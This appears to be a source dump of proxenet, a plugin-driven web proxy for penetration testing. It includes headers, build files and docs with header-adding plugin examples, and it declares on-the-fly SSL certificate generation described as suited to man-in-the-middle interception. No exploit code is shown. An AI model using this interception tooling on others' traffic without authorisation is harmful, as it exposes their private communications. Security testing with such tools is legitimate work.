├── .gitmodules ├── debian ├── compat ├── copyright ├── changelog ├── rules └── control ├── docs ├── img │ ├── fun.png │ ├── hat.png │ ├── favicon.ico │ ├── nbt-poison.png │ ├── proxenet-logo.png │ ├── proxenet-poison.png │ ├── responder-wpad.png │ ├── proxenet-capture1.png │ └── proxenet-web-interface.png ├── plugins │ ├── lua.md │ ├── tcl.md │ ├── python.md │ ├── index.md │ ├── perl.md │ ├── ruby.md │ ├── java.md │ ├── c.md │ └── rust.md ├── refs.md ├── clients.md ├── config.md ├── index.md ├── mitm.md ├── runtime.md ├── compil.md └── plugin.md ├── keys ├── Makefile ├── README ├── proxenet-setup-ca.sh └── openssl.cnf ├── cmake ├── FindLua.cmake ├── FindPerl.cmake ├── FindMbedTLS.cmake ├── FindPolarSSL.cmake ├── FindRuby.cmake ├── FindPython.cmake ├── FindTcl.cmake └── FindJava.cmake ├── socks.h ├── plugin-c.h ├── plugin-tcl.h ├── plugin-lua.h ├── plugin-perl.h ├── plugin-python.h ├── plugin-ruby.h ├── minica.h ├── .gitignore ├── control-server.h ├── plugin-java.h ├── mkdocs.yml ├── socket.h ├── .travis.yml ├── README.md ├── ssl.h ├── proxenet.spec ├── core.h ├── http.h ├── utils.h ├── main.h ├── plugin.h ├── plugin-lua.c ├── proxenet-control-cli.py ├── config.h.in ├── plugin-c.c ├── plugin-tcl.c ├── socks.c ├── proxenet.1 ├── plugin-perl.c ├── CMakeLists.txt ├── plugin-java.c ├── socket.c ├── plugin-python.c └── utils.c /.gitmodules: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /debian/compat: -------------------------------------------------------------------------------- 1 | 9 2 | -------------------------------------------------------------------------------- /debian/copyright: -------------------------------------------------------------------------------- 1 | Copyleft 2016, enjoy it -- hugsy 2 | -------------------------------------------------------------------------------- /docs/img/fun.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hugsy/proxenet/HEAD/docs/img/fun.png -------------------------------------------------------------------------------- /docs/img/hat.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hugsy/proxenet/HEAD/docs/img/hat.png -------------------------------------------------------------------------------- /docs/img/favicon.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hugsy/proxenet/HEAD/docs/img/favicon.ico -------------------------------------------------------------------------------- /docs/img/nbt-poison.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hugsy/proxenet/HEAD/docs/img/nbt-poison.png -------------------------------------------------------------------------------- /docs/img/proxenet-logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hugsy/proxenet/HEAD/docs/img/proxenet-logo.png -------------------------------------------------------------------------------- /docs/img/proxenet-poison.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hugsy/proxenet/HEAD/docs/img/proxenet-poison.png -------------------------------------------------------------------------------- /docs/img/responder-wpad.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hugsy/proxenet/HEAD/docs/img/responder-wpad.png -------------------------------------------------------------------------------- /docs/img/proxenet-capture1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hugsy/proxenet/HEAD/docs/img/proxenet-capture1.png -------------------------------------------------------------------------------- /docs/img/proxenet-web-interface.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hugsy/proxenet/HEAD/docs/img/proxenet-web-interface.png -------------------------------------------------------------------------------- /keys/Makefile: -------------------------------------------------------------------------------- 1 | .PHONY : keys clean 2 | 3 | keys: 4 | @./proxenet-setup-ca.sh keys 5 | 6 | clean: 7 | @./proxenet-setup-ca.sh clean 8 | -------------------------------------------------------------------------------- /debian/changelog: -------------------------------------------------------------------------------- 1 | proxenet (0.4) stable; urgency=low 2 | 3 | * Initial release. 4 | 5 | -- hugsy Sun, 05 Jun 2016 12:34:48 +0000 6 | -------------------------------------------------------------------------------- /cmake/FindLua.cmake: -------------------------------------------------------------------------------- 1 | find_package(PkgConfig) 2 | if(PKG_CONFIG_FOUND) 3 | pkg_search_module(LUA lua53 lua-5.3 lua5.3 lua5.2 lua-5.2 lua52 lua5.1 lua-5.1 lua51 lua-5.0 lua5.0 lua50 lua) 4 | endif() 5 | 6 | if(LUA_LIBRARIES) 7 | find_library(LUA_LIBRARY NAMES ${LUA_LIBRARIES}) 8 | endif() 9 | -------------------------------------------------------------------------------- /socks.h: -------------------------------------------------------------------------------- 1 | #define SOCKS_REQUEST_MAXLEN 0x100 2 | #define SOCKS_VERSION 0x04 3 | #define SOCKS_REQUEST_CONNECT 0x01 4 | #define SOCKS_RESPONSE_GRANTED 0x5a 5 | #define SOCKS_RESPONSE_REJECTED_FAILED 0x5b 6 | #define SOCKS_RESPONSE_REJECTED_CLIENT_FAILED 0x5c 7 | #define SOCKS_RESPONSE_REJECTED_USERID_FAILED 0x5d 8 | 9 | int proxenet_socks_connect(sock_t, char*, int, bool); 10 | -------------------------------------------------------------------------------- /plugin-c.h: -------------------------------------------------------------------------------- 1 | #ifdef HAVE_CONFIG_H 2 | #include "config.h" 3 | #endif 4 | 5 | #ifdef _C_PLUGIN 6 | 7 | #include "plugin.h" 8 | 9 | int proxenet_c_initialize_vm(plugin_t*); 10 | int proxenet_c_destroy_plugin(plugin_t*); 11 | int proxenet_c_destroy_vm(interpreter_t*); 12 | int proxenet_c_load_file(plugin_t*); 13 | char* proxenet_c_plugin(plugin_t*, request_t*); 14 | 15 | #endif 16 | -------------------------------------------------------------------------------- /plugin-tcl.h: -------------------------------------------------------------------------------- 1 | #ifdef HAVE_CONFIG_H 2 | #include "config.h" 3 | #endif 4 | 5 | #ifdef _TCL_PLUGIN 6 | 7 | int proxenet_tcl_initialize_vm(plugin_t*); 8 | int proxenet_tcl_destroy_plugin(plugin_t*); 9 | int proxenet_tcl_destroy_vm(interpreter_t*); 10 | int proxenet_tcl_load_file(plugin_t*); 11 | char* proxenet_tcl_plugin(plugin_t*, request_t*); 12 | 13 | #endif /* HAVE_LIBTCL */ 14 | -------------------------------------------------------------------------------- /plugin-lua.h: -------------------------------------------------------------------------------- 1 | #ifdef HAVE_CONFIG_H 2 | #include "config.h" 3 | #endif 4 | 5 | #ifdef _LUA_PLUGIN 6 | 7 | 8 | int proxenet_lua_initialize_vm(plugin_t*); 9 | int proxenet_lua_destroy_plugin(plugin_t*); 10 | int proxenet_lua_destroy_vm(interpreter_t*); 11 | int proxenet_lua_load_file(plugin_t*); 12 | char* proxenet_lua_plugin(plugin_t*, request_t*); 13 | 14 | #endif /* _LUA_PLUGIN */ 15 | -------------------------------------------------------------------------------- /plugin-perl.h: -------------------------------------------------------------------------------- 1 | #ifdef HAVE_CONFIG_H 2 | #include "config.h" 3 | #endif 4 | 5 | #ifdef _PERL_PLUGIN 6 | 7 | #include "plugin.h" 8 | 9 | int proxenet_perl_initialize_vm(plugin_t*); 10 | int proxenet_perl_load_file(plugin_t*); 11 | int proxenet_perl_destroy_plugin(plugin_t*); 12 | int proxenet_perl_destroy_vm(interpreter_t*); 13 | char* proxenet_perl_plugin(plugin_t*, request_t*); 14 | 15 | #endif 16 | -------------------------------------------------------------------------------- /keys/README: -------------------------------------------------------------------------------- 1 | This directory contains the key and certificate for proxenet CA. proxenet 2 | handles its own on-the-fly SSL certificate generation using this CA root. 3 | 4 | You can either generate a brand new tree(recommended) using the `make` command 5 | or use your own private key and certificate. 6 | 7 | If your private key is password protected, remember to specify this password on 8 | the command when spawning `proxenet`. 9 | -------------------------------------------------------------------------------- /plugin-python.h: -------------------------------------------------------------------------------- 1 | #ifdef HAVE_CONFIG_H 2 | #include "config.h" 3 | #endif 4 | 5 | #ifdef _PYTHON_PLUGIN 6 | 7 | #include 8 | #include "plugin.h" 9 | 10 | int proxenet_python_initialize_vm(plugin_t*); 11 | int proxenet_python_destroy_plugin(plugin_t*); 12 | int proxenet_python_destroy_vm(interpreter_t*); 13 | int proxenet_python_load_file(plugin_t*); 14 | char* proxenet_python_plugin(plugin_t*, request_t*); 15 | 16 | #endif 17 | -------------------------------------------------------------------------------- /debian/rules: -------------------------------------------------------------------------------- 1 | #!/usr/bin/make -f 2 | 3 | BUILDDIR = . 4 | 5 | $(BUILDDIR)/Makefile: 6 | cmake . \ 7 | -DDEBUG=ON \ 8 | -DUSE_C_PLUGIN=ON \ 9 | -DUSE_PYTHON_PLUGIN=ON \ 10 | -DUSE_JAVA_PLUGIN=ON \ 11 | -DUSE_PERL_PLUGIN=ON \ 12 | -DUSE_LUA_PLUGIN=ON \ 13 | -DUSE_RUBY_PLUGIN=ON 14 | 15 | override_dh_auto_build: $(BUILDDIR)/Makefile 16 | dh_auto_build 17 | 18 | override_dh_auto_configure: 19 | echo 20 | 21 | override_dh_strip: 22 | dh_strip --dbg-package=proxenet-dbg 23 | 24 | %: 25 | dh $@ --parallel --builddirectory=$(BUILDDIR) 26 | 27 | -------------------------------------------------------------------------------- /plugin-ruby.h: -------------------------------------------------------------------------------- 1 | #ifdef HAVE_CONFIG_H 2 | #include "config.h" 3 | #endif 4 | 5 | #ifdef _RUBY_PLUGIN 6 | 7 | #include 8 | 9 | #include "plugin.h" 10 | 11 | #if _RUBY_MINOR_ == 9 12 | extern VALUE rb_vm_top_self(void); 13 | #else 14 | extern VALUE ruby_top_self; 15 | #endif 16 | 17 | int proxenet_ruby_initialize_vm(plugin_t*); 18 | int proxenet_ruby_destroy_plugin(plugin_t*); 19 | int proxenet_ruby_destroy_vm(interpreter_t*); 20 | int proxenet_ruby_load_file(plugin_t*); 21 | char* proxenet_ruby_plugin(plugin_t*, request_t*); 22 | 23 | #endif /* _RUBY_PLUGIN */ 24 | -------------------------------------------------------------------------------- /minica.h: -------------------------------------------------------------------------------- 1 | #ifndef _MINICA_H 2 | #define _MINICA_H 3 | 4 | #define PROXENET_CERT_SERIAL_SIZE X509_RFC5280_MAX_SERIAL_LEN 5 | #define PROXENET_CERT_NOT_BEFORE "20010101000000" 6 | #define PROXENET_CERT_NOT_AFTER "20301231235959" 7 | #define PROXENET_CERT_MAX_PATHLEN -1 8 | #define PROXENET_CERT_SUBJECT "CN=%s,OU=BlackHats,O=World Domination Corp.,C=US" 9 | 10 | int serial_base; 11 | 12 | int proxenet_get_cert_serial(ssl_atom_t* ssl, proxenet_ssl_buf_t* dst); 13 | int proxenet_lookup_crt(char* hostname, char** crtpath); 14 | 15 | #endif /* _MINICA_H */ 16 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # ignoring following suffixes 2 | *.o 3 | *.log 4 | *.a 5 | *.Plo 6 | *.Po 7 | *.so 8 | *.so.0 9 | *.so.0.0.0 10 | *.pyc 11 | 12 | # ignoring following files 13 | TAGS 14 | proxenet 15 | gdb* 16 | .gdb_history 17 | ABOUT-NLS 18 | autom4te* 19 | build*/* 20 | insert-header.sin 21 | libtool 22 | po/*quot* 23 | *stamp 24 | stamp* 25 | keys/proxenet.key 26 | keys/proxenet.crt 27 | CMakeCache.txt 28 | CMakeFiles 29 | cmake_install.cmake 30 | stamp-h1 31 | site/ 32 | config.h 33 | Makefile 34 | keys/certs 35 | proxenet-plugins 36 | keys/proxenet.p12 37 | keys/proxenet.p7b 38 | install_manifest.txt 39 | -------------------------------------------------------------------------------- /control-server.h: -------------------------------------------------------------------------------- 1 | #ifndef _CONTROL_SERVER_H 2 | #define _CONTROL_SERVER_H 3 | 4 | #include "config.h" 5 | #include "core.h" 6 | #include "socket.h" 7 | 8 | #define MAX_CMD_LEN 1024 9 | #define CONTROL_MOTD "Welcome on "PROGNAME" control interface\nType `help` to list available commands\n" 10 | #define CONTROL_PROMPT ">>> " 11 | #define CONTROL_INVALID "{\"error\": \"Invalid command\"}" 12 | 13 | struct command_t { 14 | char *name; 15 | unsigned int nb_opt_max; 16 | void (*func)(sock_t, char *options, unsigned int nb_options); 17 | const char *desc; 18 | }; 19 | 20 | int proxenet_handle_control_event(sock_t*); 21 | 22 | #endif /* _CONTROL_SERVER_H */ 23 | -------------------------------------------------------------------------------- /plugin-java.h: -------------------------------------------------------------------------------- 1 | #ifdef HAVE_CONFIG_H 2 | #include "config.h" 3 | #endif 4 | 5 | #ifdef _JAVA_PLUGIN 6 | 7 | #include 8 | 9 | #define JAVA_PLUGIN_METHOD_SIGNATURE "(I[BLjava/lang/String;)[B" // Signature extracted using `javap -s -p ` 10 | #define JAVA_VOID_METHOD_SIGNATURE "()V" 11 | 12 | typedef struct { 13 | JavaVM* jvm; 14 | JNIEnv *env; 15 | jclass jcls; 16 | } proxenet_jvm_t; 17 | 18 | int proxenet_java_initialize_vm(plugin_t*); 19 | int proxenet_java_destroy_plugin(plugin_t*); 20 | int proxenet_java_destroy_vm(interpreter_t*); 21 | int proxenet_java_load_file(plugin_t*); 22 | char* proxenet_java_plugin(plugin_t*, request_t*); 23 | 24 | #endif /* _JAVA_PLUGIN */ 25 | -------------------------------------------------------------------------------- /mkdocs.yml: -------------------------------------------------------------------------------- 1 | site_name: proxenet documentation 2 | theme: readthedocs 3 | pages: 4 | - ['index.md', 'proxenet', 'Home'] 5 | - ['compil.md', 'proxenet', 'Compilation'] 6 | - ['config.md', 'proxenet', 'Configuration'] 7 | - ['plugin.md', 'proxenet', 'HowTo write plugins'] 8 | - ['runtime.md', 'proxenet', 'Runtime'] 9 | - ['clients.md', 'proxenet', 'Control proxenet'] 10 | - ['plugins/index.md', 'Plugins', 'Index'] 11 | - ['plugins/python.md', 'Plugins', 'Python'] 12 | - ['plugins/perl.md', 'Plugins', 'Perl'] 13 | - ['plugins/java.md', 'Plugins', 'Java'] 14 | - ['plugins/ruby.md', 'Plugins', 'Ruby'] 15 | - ['plugins/c.md', 'Plugins', 'C'] 16 | - ['plugins/lua.md', 'Plugins', 'Lua'] 17 | - ['plugins/tcl.md', 'Plugins', 'Tcl'] 18 | - ['plugins/rust.md', 'Plugins', 'Rust'] 19 | - ['refs.md', 'Misc', 'References'] 20 | - ['mitm.md', 'Misc', 'Proxenet-In-The-Middle attack'] 21 | -------------------------------------------------------------------------------- /socket.h: -------------------------------------------------------------------------------- 1 | #ifndef _SOCKET_H 2 | #define _SOCKET_H 3 | 4 | typedef int sock_t; 5 | 6 | #define MAX_CONN_SIZE 10 7 | #define MAX_READ_SIZE 4095 8 | #define MAX_CONNECT_ATTEMPT 5 9 | #define ECONNREFUSED_MSG "Server refused connection (closed port?)" 10 | #define EHOSTUNREACH_MSG "Server is not reachable" 11 | 12 | #include "ssl.h" 13 | 14 | char* proxenet_resolve_hostname(char* hostname, int type); 15 | sock_t proxenet_bind_control_socket(); 16 | sock_t proxenet_bind_socket(char *host, char* port); 17 | sock_t proxenet_open_socket(char *host, char* port); 18 | int proxenet_close_socket(sock_t sock, ssl_atom_t* ssl_atom); 19 | ssize_t proxenet_write(sock_t sock, void *buf, size_t count); 20 | ssize_t proxenet_read(sock_t sock, void *buf, size_t count); 21 | int proxenet_read_all(sock_t sock, char** ptr, proxenet_ssl_context_t* ssl_sess); 22 | int get_ip_address_from_fd(unsigned char* ip, int iplen, int fd); 23 | int get_port_from_fd(sock_t fd); 24 | 25 | #endif /* _SOCKET_H */ 26 | -------------------------------------------------------------------------------- /docs/plugins/lua.md: -------------------------------------------------------------------------------- 1 | # Lua plugin 2 | 3 | This page will explain how to write a Lua plugin for `proxenet`. 4 | 5 | 6 | ## Plugin skeleton 7 | 8 | ```lua 9 | AUTHOR = "" 10 | PLUGIN_NAME = "" 11 | 12 | function proxenet_on_load () 13 | end 14 | 15 | function proxenet_on_leave () 16 | end 17 | 18 | function proxenet_request_hook (request_id, request, uri) 19 | return request 20 | end 21 | 22 | function proxenet_response_hook (response_id, response, uri) 23 | return response 24 | end 25 | 26 | ``` 27 | 28 | 29 | ## Example 30 | 31 | ```lua 32 | AUTHOR = "hugsy" 33 | PLUGIN_NAME = "AddHeader" 34 | 35 | function proxenet_on_load () 36 | end 37 | 38 | function proxenet_on_leave () 39 | end 40 | 41 | function proxenet_request_hook (request_id, request, uri) 42 | local CRLF = "\r\n" 43 | local header = "X-Powered-By: lua-proxenet" 44 | return string.gsub(request, 45 | CRLF .. CRLF, 46 | CRLF .. header .. CRLF..CRLF) 47 | end 48 | 49 | function proxenet_response_hook (response_id, response, uri) 50 | return response 51 | end 52 | ``` 53 | -------------------------------------------------------------------------------- /docs/plugins/tcl.md: -------------------------------------------------------------------------------- 1 | # Tcl plugin 2 | 3 | This page will explain how to write a Tcl plugin for `proxenet`. 4 | 5 | 6 | ## Plugin skeleton 7 | 8 | ```tcl 9 | AUTHOR = "" 10 | PLUGIN_NAME = "" 11 | 12 | proc proxenet_on_load {} { 13 | return 14 | } 15 | 16 | proc proxenet_on_leave {} { 17 | return 18 | } 19 | 20 | proc proxenet_request_hook {request_id request uri} { 21 | return $request 22 | } 23 | 24 | proc proxenet_response_hook {response_id response uri} { 25 | return $response 26 | } 27 | 28 | # add test cases here 29 | ``` 30 | 31 | 32 | ## Example 33 | 34 | ```tcl 35 | AUTHOR = "hugsy" 36 | PLUGIN_NAME = "AddHeader" 37 | 38 | proc proxenet_on_load {} { 39 | return 40 | } 41 | 42 | proc proxenet_on_leave {} { 43 | return 44 | } 45 | 46 | proc proxenet_request_hook {request_id request uri} { 47 | regsub -all "\r\n\r\n" $request "\r\nX-Powered-By: tcl-proxenet\r\n\r\n" request 48 | return $request 49 | } 50 | 51 | proc proxenet_response_hook {response_id response uri} { 52 | return $response 53 | } 54 | 55 | # add test cases here 56 | ``` 57 | -------------------------------------------------------------------------------- /docs/plugins/python.md: -------------------------------------------------------------------------------- 1 | # Python plugin 2 | 3 | This page will explain how to write a Python plugin for `proxenet`. 4 | 5 | 6 | ## Plugin skeleton 7 | 8 | ```python 9 | 10 | AUTHOR = "" 11 | PLUGIN_NAME = "" 12 | 13 | def proxenet_on_load(): 14 | return request 15 | 16 | def proxenet_on_leave(): 17 | return 18 | 19 | def proxenet_request_hook(request_id, request, uri): 20 | return request 21 | 22 | def proxenet_response_hook(response_id, response, uri): 23 | return response 24 | 25 | if __name__ == "__main__": 26 | # use for test cases 27 | pass 28 | ``` 29 | 30 | 31 | ## Example 32 | 33 | ```python 34 | 35 | AUTHOR = "hugsy" 36 | PLUGIN_NAME = "AddHeader" 37 | 38 | def proxenet_on_load(): 39 | return request 40 | 41 | def proxenet_on_leave(): 42 | return 43 | 44 | def proxenet_request_hook(request_id, request, uri): 45 | header = "X-Powered-By: python-proxenet" 46 | return request.replace("\r\n\r\n", + "\r\n"+header+"\r\n\r\n") 47 | 48 | def proxenet_response_hook(response_id, response, uri): 49 | return response 50 | 51 | if __name__ == "__main__": 52 | # use for test cases 53 | pass 54 | ``` 55 | -------------------------------------------------------------------------------- /.travis.yml: -------------------------------------------------------------------------------- 1 | language: c 2 | 3 | os: 4 | - linux 5 | - osx 6 | 7 | addons: 8 | apt: 9 | packages: 10 | - cmake 11 | - python-dev 12 | - liblua5.2-dev 13 | - ruby 14 | - ruby-dev 15 | - libperl-dev 16 | - tcl-dev 17 | - default-jdk 18 | 19 | before_script: 20 | - if [[ "$TRAVIS_OS_NAME" == "osx" ]]; then brew update && brew install mbedtls; fi 21 | - if [[ "$TRAVIS_OS_NAME" == "linux" ]]; then curl -fSsL https://tls.mbed.org/download/mbedtls-2.2.1-gpl.tgz|tar xz && cd mbedtls-2.2.1 && cmake . -DCMAKE_C_FLAGS="-fPIC" -DCMAKE_SHARED_LINKER_FLAGS="-pie" && make && sudo make install && cd .. ; fi 22 | # - gem install package_cloud 23 | 24 | script: 25 | - cmake . -DDEBUG=on && make && sudo make install 26 | 27 | after_script: 28 | - /opt/proxenet/bin/proxenet --help 29 | # - package_cloud push hugsy/proxenet/debian/jessie proxenet-nightly-0.5-1_amd64.deb 30 | # - package_cloud push hugsy/proxenet/fedora/23 proxenet-nightly.0.5-1.el6.x86_64.rpm 31 | 32 | notifications: 33 | email: 34 | recipients: 35 | - hugsy+github@blah.cat 36 | 37 | on_success: change 38 | on_failure: always 39 | -------------------------------------------------------------------------------- /docs/plugins/index.md: -------------------------------------------------------------------------------- 1 | # Plugins 2 | 3 | This section will detail examples and skeletons for writing `proxenet` plugins 4 | in your favorite languages. 5 | 6 | ## API and languages 7 | 8 | Each page will provide: 9 | 10 | 1. A raw skeleton that you can copy for your new plugins; 11 | 2. A plugin example: adding a new header in your requests. 12 | 13 | 14 | Equipped with those information, you will not have any problem getting along and 15 | starting making powerful plugins! 16 | 17 | The [plugin page](../plugin) explains the general structure for writing 18 | `proxenet`. Please refer to it for generic information on the plugin behavior, 19 | or jump directly to your favorite language page. 20 | 21 | 22 | - [Python](python.md) 23 | - [Ruby](ruby.md) 24 | - [Java](java.md) 25 | - [Perl](perl.md) 26 | - [C](c.md) 27 | - [Tcl](tcl.md) 28 | - [Lua](lua.md) 29 | 30 | ## Autoload 31 | 32 | To be loaded properly, plugins should be located in the plugins directory. The 33 | `autoload` directory should **only** contain symbolic links to files in the 34 | regular plugins directory. 35 | 36 | To auto-load a plugin, 37 | 38 | ```bash 39 | $ cp MyPlugin.ext /path/to/proxenet/proxenet-plugins/ 40 | $ ln -sf /path/to/proxenet/proxenet-plugins/MyPlugin.ext /path/to/proxenet/proxenet-plugins/autoload/MyPlugin.ext 41 | ``` 42 | -------------------------------------------------------------------------------- /debian/control: -------------------------------------------------------------------------------- 1 | Source: proxenet 2 | Maintainer: hugsy 3 | Homepage: https://github.com/hugsy/proxenet 4 | Standards-Version: 3.9.3 5 | Section: net 6 | Priority: optional 7 | Architecture: any 8 | Build-Depends: 9 | debhelper (>= 8.0.0), 10 | cmake, pkg-config, 11 | debhelper (>= 9), 12 | dh-exec, 13 | cmake, pkg-config, 14 | python-dev, libpython2.7-dev, 15 | libruby2.3, ruby-dev, 16 | libperl-dev, 17 | liblua5.1-0-dev, 18 | tcl8.6-dev, 19 | openjdk-8-jre-headless, 20 | libmbedtls-dev (>= 2.2.0) 21 | 22 | Package: proxenet 23 | Architecture: amd64 24 | Depends: ${shlibs:Depends}, ${misc:Depends} 25 | Description: Lightweight, fast, hacker-friendly proxy tool for penetration tests 26 | Plugin driven proxy for web application penetration tests, or Man-In-The-Middle attacks. 27 | proxenet is a multi-threaded proxy which allows you to manipulate HTTP requests and responses 28 | using your favorite scripting language (currently supports Python, Ruby, Java, Tcl, Lua, Perl). 29 | 30 | Package: proxenet-dbg 31 | Section: debug 32 | Priority: extra 33 | Architecture: amd64 34 | Depends: ${misc:Depends}, proxenet (= ${binary:Version}) 35 | Description: The debug information for proxenet package 36 | This package contains GDB debugging symbols for the proxenet packages. 37 | 38 | -------------------------------------------------------------------------------- /docs/plugins/perl.md: -------------------------------------------------------------------------------- 1 | # Perl plugin 2 | 3 | This page will explain how to write a Perl plugin for `proxenet`. 4 | 5 | 6 | ## Plugin skeleton 7 | 8 | ```perl 9 | package MyPlugin; 10 | 11 | our $AUTHOR = ""; 12 | our $PLUGIN_NAME = ""; 13 | 14 | sub proxenet_on_load { 15 | return; 16 | } 17 | 18 | sub proxenet_on_leave { 19 | return; 20 | } 21 | 22 | sub proxenet_request_hook { 23 | my ($request_id, $request, $uri) = @_; 24 | return $request; 25 | } 26 | 27 | sub proxenet_response_hook { 28 | my ($response_id, $response, $uri) = @_; 29 | return $response; 30 | } 31 | 32 | unless(caller) { 33 | # use for test cases 34 | } 35 | 36 | "MyPlugin"; 37 | ``` 38 | 39 | 40 | ## Example 41 | 42 | ```perl 43 | package AddHeader; 44 | 45 | our $AUTHOR = "hugsy"; 46 | our $PLUGIN_NAME = "AddHeader"; 47 | 48 | sub proxenet_on_load { 49 | return; 50 | } 51 | 52 | sub proxenet_on_leave { 53 | return; 54 | } 55 | 56 | sub proxenet_request_hook { 57 | my ($rid, $req, $uri) = @_; 58 | $crlf = "\r\n"; 59 | $end = $crlf . $crlf; 60 | $req =~ s/${end}/${crlf}X-Perl-Injected: proxenet${end}/; 61 | return $req 62 | } 63 | 64 | sub proxenet_response_hook { 65 | my ($rid, $res, $uri) = @_; 66 | return $res; 67 | } 68 | 69 | unless(caller) { 70 | # use for test cases 71 | } 72 | 73 | "AddHeader"; 74 | ``` 75 | -------------------------------------------------------------------------------- /docs/plugins/ruby.md: -------------------------------------------------------------------------------- 1 | # Ruby plugin 2 | 3 | This page will explain how to write a Ruby plugin for `proxenet`. 4 | 5 | 6 | ## Plugin skeleton 7 | 8 | ```ruby 9 | 10 | module MyPlugin 11 | 12 | $AUTHOR = "" 13 | $PLUGIN_NAME = "" 14 | 15 | module_function 16 | 17 | def proxenet_on_load() 18 | return 19 | end 20 | 21 | def proxenet_on_leave() 22 | return 23 | end 24 | 25 | def proxenet_request_hook(request_id, request, uri) 26 | return request 27 | end 28 | 29 | def proxenet_response_hook(response_id, response, uri) 30 | return response 31 | end 32 | 33 | end 34 | 35 | if __FILE__ == $0 36 | # use for test cases 37 | end 38 | ``` 39 | 40 | 41 | ## Example 42 | 43 | ```ruby 44 | 45 | module AddHeader 46 | 47 | $AUTHOR = "hugsy" 48 | $PLUGIN_NAME = "AddHeader" 49 | 50 | module_function 51 | 52 | def proxenet_on_load() 53 | return 54 | end 55 | 56 | def proxenet_on_leave() 57 | return 58 | end 59 | 60 | def proxenet_request_hook(request_id, request, uri) 61 | @CRLF = "\r\n" 62 | @header = "X-Powered-By: ruby-proxenet" 63 | return request.sub(@CRLF*2, @CRLF+header+@CRLF*2) 64 | end 65 | 66 | def proxenet_response_hook(response_id, response, uri) 67 | return response 68 | end 69 | 70 | end 71 | 72 | if __FILE__ == $0 73 | # use for test cases 74 | end 75 | ``` 76 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ## Proxenet 2 | 3 | ![logo](docs/img/proxenet-logo.png) 4 | 5 | ### What is it? 6 | `proxenet` is a hacker friendly DIY web proxy for pentest(ers). It is a C-based 7 | proxy that allows you to interact with higher level languages (like Python, 8 | Ruby, Java, etc.) for modifying on-the-fly requests/responses sent by your Web 9 | browser. 10 | 11 | 12 | ### How to start 13 | 14 | ``` bash 15 | $ git clone https://github.com/hugsy/proxenet.git 16 | $ cd proxenet && cmake . && make 17 | $ sudo make install 18 | ``` 19 | 20 | ### Status 21 | 22 | | Branch | Build status | Documentation | 23 | | ------ |:------------:| -------------:| 24 | | Master | [![Continuous Integration status (master)](https://secure.travis-ci.org/hugsy/proxenet.png?branch=master)](https://travis-ci.org/hugsy/proxenet?branch=master) | [![Documentation Status (master)](https://readthedocs.org/projects/proxenet/badge/?version=master)](https://proxenet.readthedocs.org/en/latest/) | 25 | | Dev | [![Continuous Integration status (dev)](https://secure.travis-ci.org/hugsy/proxenet.png?branch=dev)](https://travis-ci.org/hugsy/proxenet?branch=dev) | [![Documentation Status (dev)](https://readthedocs.org/projects/proxenet/badge/?version=dev)](https://proxenet.readthedocs.org/en/dev/) | 26 | 27 | ### Authors 28 | `proxenet` was developed by [hugsy](https://github.com/hugsy) with the help of the following [contributors](https://github.com/hugsy/proxenet/graphs/contributors) who are to be thanked. 29 | -------------------------------------------------------------------------------- /ssl.h: -------------------------------------------------------------------------------- 1 | #ifndef _SSL_H 2 | #define _SSL_H 3 | 4 | #include 5 | #include 6 | #include 7 | 8 | #include "main.h" 9 | 10 | typedef mbedtls_ssl_context proxenet_ssl_context_t; 11 | typedef mbedtls_x509_crt proxenet_ssl_cert_t; 12 | typedef mbedtls_x509_buf proxenet_ssl_buf_t; 13 | 14 | typedef struct __ssl_atom_t { 15 | proxenet_ssl_context_t context; 16 | proxenet_ssl_cert_t cert; 17 | proxenet_ssl_cert_t ca; 18 | mbedtls_ctr_drbg_context ctr_drbg; 19 | mbedtls_entropy_context entropy; 20 | mbedtls_rsa_context rsa; 21 | mbedtls_pk_context pkey; 22 | mbedtls_ssl_config conf; 23 | bool is_valid; 24 | } ssl_atom_t; 25 | 26 | typedef struct __ssl_context_t { 27 | bool use_ssl; 28 | ssl_atom_t client; 29 | ssl_atom_t server; 30 | } ssl_context_t; 31 | 32 | #include "socket.h" 33 | #include "utils.h" 34 | 35 | int proxenet_ssl_init_server_context(ssl_atom_t* server, char* hostname); 36 | int proxenet_ssl_init_client_context(ssl_atom_t* client, char* hostname); 37 | 38 | void proxenet_ssl_wrap_socket(proxenet_ssl_context_t* s, sock_t* sock); 39 | int proxenet_ssl_handshake(proxenet_ssl_context_t* s); 40 | 41 | void proxenet_ssl_finish(ssl_atom_t* ssl); 42 | void proxenet_ssl_free_structs(ssl_atom_t* ssl); 43 | 44 | ssize_t proxenet_ssl_read(proxenet_ssl_context_t *s, void *n, size_t l); 45 | ssize_t proxenet_ssl_write(proxenet_ssl_context_t *s, void *n, size_t l); 46 | 47 | #endif /* _SSL_H */ 48 | -------------------------------------------------------------------------------- /cmake/FindPerl.cmake: -------------------------------------------------------------------------------- 1 | if(PERL_FOUND) 2 | set(PERL_FIND_QUIETLY TRUE) 3 | endif() 4 | 5 | find_program(PERL_EXECUTABLE 6 | NAMES perl perl5 7 | PATHS /usr/bin /usr/local/bin /usr/pkg/bin 8 | ) 9 | 10 | if(PERL_EXECUTABLE) 11 | 12 | execute_process( 13 | COMMAND ${PERL_EXECUTABLE} -MConfig -e "print \"\$Config{archlibexp}/CORE\"" 14 | OUTPUT_VARIABLE PERL_INTERNAL_DIR 15 | ) 16 | 17 | execute_process( 18 | COMMAND ${PERL_EXECUTABLE} -MExtUtils::Embed -e ccopts 19 | OUTPUT_VARIABLE PERL_CFLAGS 20 | ) 21 | 22 | execute_process( 23 | COMMAND ${PERL_EXECUTABLE} -MExtUtils::Embed -e ldopts 24 | OUTPUT_VARIABLE PERL_LFLAGS 25 | ) 26 | 27 | execute_process( 28 | COMMAND ${PERL_EXECUTABLE} -MConfig -e "print \"\$Config{version}\"" 29 | OUTPUT_VARIABLE PERL_VERSION 30 | ) 31 | 32 | # remove the new lines from the output by replacing them 